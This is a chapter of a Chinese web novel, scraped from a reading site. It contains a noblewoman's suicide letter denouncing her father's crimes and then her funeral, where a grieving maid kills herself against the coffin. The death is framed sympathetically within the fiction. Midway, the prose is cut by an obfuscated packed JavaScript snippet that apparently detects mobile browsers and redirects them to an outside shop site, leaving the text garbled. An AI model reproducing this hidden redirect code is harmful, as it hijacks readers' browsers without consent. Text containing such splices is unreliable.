默认冷灰
24号文字
方正启体

138. 葬礼

作者:诗者有屿本书字数:K更新时间:
    “罪女陆沁,叩首泣血,上呈陛下。


    父亲陆鼎风所行之事,桩桩件件,皆有实证。其罪,无可抵,亦无可辩。


    那暗无天日的地牢,那些被囚如牲畜的女子,臣女亲眼所见。那一刻,臣女才知父亲平日的慈爱温和,臣女所享受的荣华富贵,皆是踩在他人血肉之上。陆家门庭之后,是累累白骨,是冤魂哀嚎。


    那本罪证账簿,确为臣女于父亲书房中窃出,暗自放在了凌青枕头下,由她交予陛下。


    臣女悔。


    不是后悔将父亲的罪行公之于众,而是悔自己怯懦,迟迟不敢背弃陆家,只能像一个懦夫一样躲在凌青身后。看她一人顶着惊涛骇浪,去行这天地间最该行之事。她一身孤勇,可更衬得臣女满心愧疚。


    父亲于臣女………恩重如山。


    他教臣女读书写字,在没有母亲的日子里,一手将臣女抚养长大。在臣女心里,他就是世上最好的父亲。臣女感恩他,亦曾以他为傲。


    可臣女亦为女子,自然会感同身受那些被欺辱的女子苦楚。


    父女亲情与天地公道,日夜在臣女心中撕扯。一端是生养我的恩,一端是不可坐视的恶。臣女夜夜不能寐,只觉身处炼狱,油烹火灼。


    如今写下此信………


    便是臣女最后做出的选择。


    臣女不孝。既已检举生父,再无颜面苟活于世。唯以一死,上谢君恩,下报父恩。这一条性命,是父亲给的。


    今日………便还给他罢。


    只是残喘之际,臣女却还有许多事放不下。臣女厚颜无耻,只能叩请陛下:


    其一,将父亲罪行昭告天下,以慰那些受难之人的在天之灵。


    其二,请陛下明鉴,凌青所为,就是臣女之意。她为父姐复仇,是孝;为民除害,是义。她没有错。若陛下定要问责,就请治臣女管教不严之罪吧。


    其三,陆府上下,都为不知内情的无辜之人,恳请陛下开恩,饶他们生路。四妹陆微不日入宫,她天真烂漫,性情却执拗,求陛下怜其无知,善待于她。祖母年迈,请以臣女薄产,寻人照料。


    其四,婢女凌青、谷翠,与臣女日夜相伴,情同姐妹。臣女已备下田产,求陛下放她们自由,许她们做个凡俗自在人。


    至于……臣女的夫君。


    红烛未冷,已成诀别。他以为是此生良缘,终究,是沁……负了他。


    万望告知于他,此后岁月,山长水阔,不必再念。


    若有来生……


    若有来生,沁定当衔环结草,千倍万倍,以报君恩。


    罪女陆沁绝笔”


    ———————


    崔府门前,是死一样的寂静。


    没有寻常丧仪的哀乐,只有风卷着纸钱,漫天漫地地飞。那纸钱像一场永远不停歇的大雪,一层一层,覆盖了青石路,覆盖了门前那一对素缟的白灯笼。


    人间,仿佛只剩下了这一种颜色。


    灵堂设在正厅。


    凌青跪在最前面的蒲团上,面无表情,没有流下一滴泪。


    可那眼神,却是空的。


    她的目光穿过缭绕的香烟,定格在堂中那口黑漆木棺上。棺木看着就冰冷,沉重,像一座无法撼动的山,无力又可悲。


    陆沁就躺在里面。


    寿衣是她亲手为她换上的,发髻是她亲手为她梳理的,那毫无生气的妆容,也是她亲手为她描画的。她的指尖似乎还残留着陆沁肌肤的冰冷,那种属于死物的冰冷。


    她忽然在想,上一次为她穿衣梳妆,是什么时候?


    凌青木然地想了很久,很久,久到身边的啜泣声都变得模糊。


    哦,想起来了。


    是陆沁出嫁那天。她亲手为她披上那身举世无双的凤冠霞帔,看着镜中人明媚如春水,眼波流转间,是对未来最温柔的期盼。那时候,她以为那是此生最后一次为她梳妆,心如刀割,从此她与她诀别,再无以后。


    可她万万没有想到,所谓的再无以后,是陆沁。


    陆沁……再也没有了以后。


    “小姐……小姐……”


    身旁的谷翠已经哭得瘫软在地。她死死抓着冰冷的棺木,一遍遍地哀泣,每一声都像是从胸腔里撕扯出来的血肉:“小姐………您怎么就这么狠心啊……”


    “您说过的,要看着我嫁人,要给我置办一份不输给任何人的嫁桑……您说您不喜欢崔府的糕点,等我学好了,日日做给您吃……您怎么能说话不算话……您睁开眼看看我,您看看我啊小姐……小姐………”


    另一侧,陆微也跪着。


    她那一身纯白的孝衣,衬得那张总是带着几分骄纵的脸,白得没有一点生气。


    “二姐…………”


    泪水无声地滑落,一滴,一滴,砸在地上晕开小小的水渍。


    “我………”


    她猛地向前一扑,双手死死抱住冰冷的棺木,压抑到极致的悲恸终于如山洪决堤,化作沙哑的哭喊:“二姐!二姐我错了!我再也不气你了!我再也不跟你比了!,什么什么我都不要了!我再也不会故意说反话气你了!什么我都不要了!我只要你回来!二姐!二姐!!!!”


    她哭得上气不接下气,额头用力抵着棺木,仿佛这样就能离她近一些。


    “我不知道……我真的不知道你什么都知道……我怕你难过,我什么都不敢跟你说……我不敢和你说我要入宫了……你出嫁那天,笑着和我告别,拉着我的手,你的手那么冰……你是不是那个时候,心里就已经在滴血了?你难过得快要死了,是不是?可你还是为了我,什么都忍着……你为什么不骂我!你为什么不打我啊!二姐!我骗你………我骗了你………”


    她凄厉地嘶吼着,几乎要崩溃:“求求你……求求你睁开眼睛,再看我一眼……好不好……”


    凌青再也撑不住了。


    她死死地闭上眼,任由滚烫的泪水决堤而下,蜿蜒过冰冷的脸颊。


    王嫣跪在她们身后,早已掩面痛哭,泣不成声。


    灵堂外传来一阵缓慢的脚步声。


    逄楚之和王谌一左一右,几乎是架着崔令徽进来的。


    只几日不见,崔令徽竟已是满头白发。那如墨的发,如今霜雪缟素,衬得他那张曾令满京城女子倾慕的脸,憔悴得像一具干尸。他不过二十几岁,却仿佛一夜就跨过了十几年,苍老得令人心惊。


    他们站在门槛处,久久不敢踏入。


    逄楚之双眼通红,死死地盯着那口棺木。


    像是直到这一刻,他才被迫相信了这个最残忍的事实。直到亲眼看见,他才确认……


    他的阿姐,真的不在了。


    王谌只是看着,眼神木然,仿佛只是一个空洞的躯壳。


    崔令徽谁也没看。


    他踉跄着,一把推开身边的两人,跌跌撞撞地,径直走向那口棺材。


    “表哥………”


    崔令徽拨开了逄楚之的手,一步一步,沉重而迟缓。


    终于走到棺材前。


    他没有哭,也没有喊,只是站在那里,一动不动。


    他只是看着,贪婪地,一寸一寸地看着。看着她安静的睡颜,看着她眉心被细心描画过的花钿,看着她再也不会颤动的长睫……她看起来那么安详,就好像只是睡着了。


    逄楚之想上前扶住他摇摇欲坠的身体,却见崔令徽缓缓地伸出了手。


    那只曾为她描眉、为她执笔、为她暖手的手,此刻颤抖得不成样子。手悬在半空中,迟迟不敢落下。


    终于,他微凉的指尖,轻轻碰到了她的脸颊。


    冰冷。


    毫无生气的冰冷。


    再也捂不热了。


    那股寒意顺着他的指尖瞬间窜遍四肢百骸。崔令徽猛地缩回了手,像是被灼伤了一般。


    他怔怔地看着自己的手,又看看棺中的人。


    “沁儿…………”


    他忽然低低地笑了起来,笑着笑着,眼泪就大颗大颗地滚落。


    他喃喃自语道:“沁儿没死……你们看,她没死……她只是睡着了,她没死……”


    “表哥……”逄楚之的声音都在发抖,带着哀求。


    崔令徽却像是没听见,他猛地跪倒在棺前,就这么痴痴地看着她,声音轻柔得像怕惊醒她一般:“她怕冷……外面雪那么大,她一定是睡着了……我在这里陪她,等她睡醒了,就好了……你们别封棺,千万别吵醒她……”


    “别封棺”三个字狠狠刺入凌青的耳中。


    她全身剧震,死死攥紧拳头,锋利的指甲深深陷进掌心,渗出血来,她却毫无痛觉。


    ………是她。


    一切都是她。


    是她将陆沁逼上了绝路。该死的那个人,明明是她。


    为什么……为什么死的不是她。


    她死死闭着眼,任由眼泪流了下来。


    执礼的司仪看了一眼天色,走上前,艰难地低声催促:“崔大人……吉时已到,该……封棺了。”


    这话一出,崔令徽瞬间惊醒。


    “表哥………让阿姐………入土为安吧。”逄楚之轻声道。


    他正要去拉扯他,崔令徽却疯了一样死死抱住棺木,歇斯底里地大喊:“不!不许封!不许把我和她分开!她一个人会害怕的!不许封!”


    逄楚之再也撑不住,猛地扑过去,与他一同跪倒在地,紧紧抓住他的手臂,颤声喊道:“表哥!表哥你醒醒!她已经走了!她不会再醒过来了!”


    “你胡说八道!”


    “她不想看到你这样!她不想看到你如此疯癫!为了她能安心,为了她能不再挂念你,不要,不要这样了,好不好…………”


    崔令徽怔住了,眼泪顺着脸颊,落在地上。


    许久之后,他无力地放下手。


    “为什么………”他呢喃着,“为什么………”


    逄楚之眼睛又红了,不忍地看着他。


    “………为什么!”崔令徽一把抓住自己的白发,悲恸欲绝地嘶吼,“为什么不告诉我!为什么要把所有事都自己扛着!你有没有想过我!你有没有想过我失去你会多痛苦!陆沁!你为什么这么狠心!你就这样自己走了,你把我一个人丢在这里……你让我怎么办!”


    一阵风吹过,香烛台上的白烛,烛泪蜿蜒,火光明明灭灭,像是在哭。


    “时辰到了!必须封棺了!”


    几个家丁强行将崔令徽拖开,他却疯狂地挣扎,手脚并用,像一头濒死的野兽,死死抓着棺沿不肯放开。指甲在黑漆上划出刺耳的声音,直至迸裂,鲜血淋漓。


    “不—————”


    他看着那厚重的棺盖缓缓移上,声音已经嘶哑到不成调,只剩下最后的哀求:</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315555|177626||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “就让我再看她最后一眼……求求你们了……就一眼!我求求你们了!沁儿!!!”


    陆微抬起头,哭得已近乎昏厥。


    在所有人无力的泪光中,在崔令徽那一声绝望到撕心裂肺的悲鸣里,棺盖“咚”的一声,沉沉合上。


    最后那点容颜,最后那点念想,彻底,消失不见。


    从此,坟墓,白骨。这世间,再无陆沁一人。


    凌青木然地看着棺材彻底合上。


    她再也看不到她温柔带着笑意的脸,再也听不到她柔柔唤着她凌青的样子。


    她早就知晓她的身份,却一次次,一次次给她机会,让她自己说出。可到死那一刻,她也没等到她说出一句真相。


    她给了她全部信任,甚至将账本给她帮她复仇,她把一颗心,全都给了她。她只希望,能换回一点点坦诚。


    可她没有。


    到死,陆沁都没等到她一句真话。


    为什么……为什么………


    为什么她的满腔真心要付出给她这样自私自利的人?


    陆沁………


    小姐………!


    “噗—————”


    凌青再也抑制不住,喉头猛地涌上一股腥甜,噗地一声,一口鲜血喷洒在身前的白地上。


    天旋地转。


    耳边所有的哭喊声,都在这一刻听不见了。


    “凌青!”逄楚之的惊呼声将她从混沌中拉回一丝。他冲过来,想扶住她摇摇欲坠的身体,“你怎么样?!”


    凌青努力让自己清醒过来。她摆了摆手,拒绝了他的搀扶,只是用袖口随意地擦去嘴角的血迹。那抹红色在纯白的孝衣上晕开,触目惊心。


    她撑着地,用尽全身的力气,一点一点,艰难地自己站了起来。


    她的身体在抖,声音也断断续续,却带着坚定:“我……我没事……我要……送小姐……最后一程。”


    逄楚之看着她,终究还是放开了手。


    十六名杠夫抬着那沉重的棺椁,脚步缓缓,就这么往前走去。长长的队伍,一色缟素,满天,都是纸钱。


    最前方,有人在高声唱着引路的丧歌,那声音苍凉而悠长,在空旷的街道上回荡:


    “起灵—————”


    “魂兮归来————黄泉路远,莫回头——”


    众人沉默地跟在后面,脸上是麻木的悲戚。满天白色的纸钱被风卷过,拂过每一个人的脸颊。


    凌青走在队伍里,脸上的泪痕早已被冷风吹干,只留下一片冰冷的紧绷。她感觉不到冷,也感觉不到喉咙里的干涩。


    所有的感觉———


    都汇聚成了心痛。


    一枚纸钱悠悠荡荡地飘落,轻柔地擦过她的侧脸。


    那触感,轻飘飘的,带着一丝凉意。


    就好像……就好像陆沁还活着的时候,用指尖轻轻划过她的脸颊,带着嗔怪说“你又在胡思乱想了”。


    凌青的脚步猛地一顿。


    心,太痛了。


    痛得她几乎要窒息了。


    她感觉到陆沁的气息就在身边,在这风里,在这纸钱里,她无处不在,却又遥不可及。


    她就在她身边,可她已经不敢、也不配去面对她了。


    队伍行至街口,即将转弯。


    引路人最后一次举起招魂幡,用尽全身力气,拉长了声音,发出最后一声悠长的悲鸣:


    “魂归来兮—————”


    声音拖得很长,很长,在天地间久久回荡,然后,戛然而止。


    万籁俱寂。


    天地间,再无别的声音。


    寂静之中,一直默默流泪的谷翠,忽然停下了脚步。


    她抬起头,痴痴地看着那口棺木,看着它即将转过街角,永远地离开这条她曾陪伴陆沁走过无数次的路。


    从前,她们欢声笑语走过这条路时,她从来没有想过,有一日她会自己走这条路。


    她忽然,就不想走下去了。


    这条路,以后她一个人走,该有多冷,多怕啊。


    就到这里吧。


    她的一生,都是为了陆沁而活。和她一起生,一起死,是她的宿命,她心甘情愿。


    就在这死一样的寂静中,一个凄厉到极致的哭喊,猛地撕裂起来。


    “小姐—————!!”


    谷翠用尽了最后一点力气,发出这一声呼喊,然后,她猛地朝着那沉重的棺木,直直地撞了上去!


    “砰!”


    一声闷响。


    浓烈的鲜血,瞬间在黑漆棺椁上喷溅开来。


    谷翠的身体,顺着那冰冷的棺沿,无力地滑落,缓缓跌在地上。她眼睛还睁着,直直地望着棺木的方向,嘴角带着一丝解脱的微笑。


    “………小、小姐………谷翠……来、来陪你了………”


    “谷翠!!!”


    陆微凄厉的尖叫声划破了这片死寂。


    凌青呆呆地看着那片刺目的红,看着那鲜活的身影瞬间变成一具冰冷的身体。


    她脑中那根一直紧绷着的弦,在这一刻,终于——


    “啪”的一声,断了。


    眼前那片浓烈的红,与漫天的白,与沉重的黑,交织在一起,飞速旋转,最终,化作一片吞噬一切的黑暗。


    她再也支撑不住,身体一软,向后倒去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)